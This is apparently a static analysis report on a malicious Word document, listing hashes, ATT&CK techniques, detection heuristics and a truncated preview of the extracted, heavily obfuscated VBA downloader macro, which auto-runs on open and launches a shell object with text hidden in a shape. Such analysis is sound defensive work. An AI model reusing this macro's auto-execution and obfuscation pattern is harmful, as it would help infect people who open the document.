Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36898538bf6a588d…

MALICIOUS

Office (OLE)

136.0 KB Created: 2018-11-29 20:42:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: a583b661f3c7fdf7d27b1939826a896f SHA-1: b09fc58c36b759649bdd5d4a7654af135372f458 SHA-256: 36898538bf6a588d12f24df31313711fb26ce9da29facd3115f3b1b76a53e1de
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. The macro's obfuscated code suggests it attempts to download and execute a second-stage payload from a URL. The ClamAV detection 'Doc.Downloader.Sload-6781308-0' further supports this downloader behavior. The embedded URL, while benign according to reputation, is likely a placeholder or part of the obfuscation.

Heuristics 6

  • ClamAV: Doc.Downloader.Sload-6781308-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6781308-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7040 bytes
SHA-256: f16d12012d2f7635e363d826d5baa6aa621a8c6219c60d7ef841b3c547b8cd82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zoHJoUz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
      BqkJiXns = (FOFstp - Oct(azLNriKt) * JMtja - Sgn(331368044) - 181447307 + Fix(kbqOJVIz) + 1432961429 + 89689110 / 280139426 / MPnoQoc)
      Select Case EpSfqzVL
         Case 300649379
            tGmVHS = CLng(332245823)
            RcCQVVU = Int(ztZFPm)
         Case 140676053
            fvILXKAwD = Hex(64583075)
            jrqHVq = CStr(282885729 * CByte(AinTzLb))
End Select
Set lowHlsq = Shapes("RwUlPHjq")
   On Error Resume Next
      uqprQulJ = (IHXSks - Oct(fSWdA) * wjdwVt - Sgn(303694568) - 190570515 + Fix(jNXTV) + 2344482859# + 53687732 / 117608939 / ZTwEHrwiz)
      Select Case oCzhj
         Case 208605210
            JNRZsPowX = CLng(63435898)
            RXQXAaEjS = Int(YmAmwonHm)
         Case 211192889
            naauAVhEI = Hex(38418890)
            iDRZpRBW = CStr(195066050 * CByte(NCkbRnvbA))
End Select
   On Error Resume Next
      qhZYsQczk = (nFwDvzwpm - Oct(GqsMjzv) * PUPYsNhdq - Sgn(270413307) - 128855088 + Fix(XALNOiQV) + 1908553249 + 199878868 / 59562398 / ofoAp)
      Select Case otVkjQ
         Case 226544584
            NlVSGJ = CLng(143107923)
            AFifz = Int(iZOlL)
         Case 61731571
            MZjndAaL = Hex(252489118)
            vfzVfA = CStr(71322589 * CByte(zkkijVK))
End Select
   On Error Resume Next
      SZbilU = (MDYAKSX - Oct(zCXqzzjt) * hEAvU - Sgn(146964750) - 50084979 + Fix(vNPLAdddd) + 2563797619# + 242499748 / 26827115 / ijsVXBtFY)
      Select Case mfbwjUf
         Case 292031861
            RGOEIZwZ = CLng(296409540)
            WKvpBD = Int(HZwVOoX)
         Case 281339467
            jZjzJzu = Hex(24648401)
            sPikwYbA = CStr(296751683 * CByte(MqqZs))
End Select
QSkBzcU = "" + tZsvDYQ + wLDSr + JnqWd + NvVimpzo + lowHlsq.TextFrame.TextRange.Text + rwrjZYQF + jEpdwwnP
   On Error Resume Next
      rPYrLFauT = (jKJCUUqhm - Oct(wmjfLGoJ) * kWscTHBO - Sgn(201441410) - 86964472 + Fix(VHfCwYnf) + 1047835649 + 80761009 / 284454312 / ZQrFj)
      Select Case fFQQGiboi
         Case 279959587
            TFLUGQrGd = CLng(218013151)
            TJtbtVSM = Int(BSWzHPF)
         Case 294930
            bJqwjwGfj = Hex(128193366)
            AwGLr = CStr(252287051 * CByte(WfoGV))
End Select
   On Error Resume Next
      iziwVjptY = (AIjRf - Oct(FBpVq) * RraYj - Sgn(87342993) - 295198615 + Fix(ZwfMW) + 2999382479# + 23347277 / 269184193 / DtYhMZRN)
      Select Case WjGwjJEi
         Case 213608615
            YwzcASdB = CLng(189830309)
            vlzQVm = Int(SSFSJLv)
         Case 279284846
            zbPVIo = Hex(86329633)
            QkERXP = CStr(230004311 * CByte(otqliqc))
End Select
   On Error Resume Next
      uPiZKbSW = (oppZE - Oct(icWBhicpi) * wuUWW - Sgn(111491129) - 98857996 + Fix(WMFaJ) + 633991789 + 217301941 / 13237198 / KsAGwO)
      Select Case uMmmWFS
         Case 174258594
            YMjwAmYah = CLng(21955953)
            lITNUfQRw = Int(uBfrcKic)
         Case 240124919
            ufakzA = Hex(23256696)
            YUaZtW = CStr(280211172 * CByte(tZRroAdR))
End Select
   On Error Resume Next
      PpHAKICsF = (LonEKEFY - Oct(cVfFwCf) * BkRlFvNdm - Sgn(250148089) - 4944434 + Fix(wkGqMjloX) + 3149300569# + 128102856 / 200907557 / khbkkJwi)
      Select Case AIovGt
         Case 173740225
            YSEZdrP = CLng(266004172)
            OQrVFQmFV = Int(msCcBT)
         Case 228101125
            wCRcsNwX = Hex(3306283)
            GGpLwru = CStr(226964738 * CByte(tvrBplfo))
End Select
Set JYjRlSwWl = CVar(GetObject(qCFuHRm + "new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + lYdZiQM))
   On Error Resume Next
      onlNj = (AjsLBHI - Oct(NzBYAtaQ) * GDzmRhjIq - Sgn(154100708) - 106055946 + Fix(ubITTwn) + 1539430549 + 272405717 /
... (truncated)

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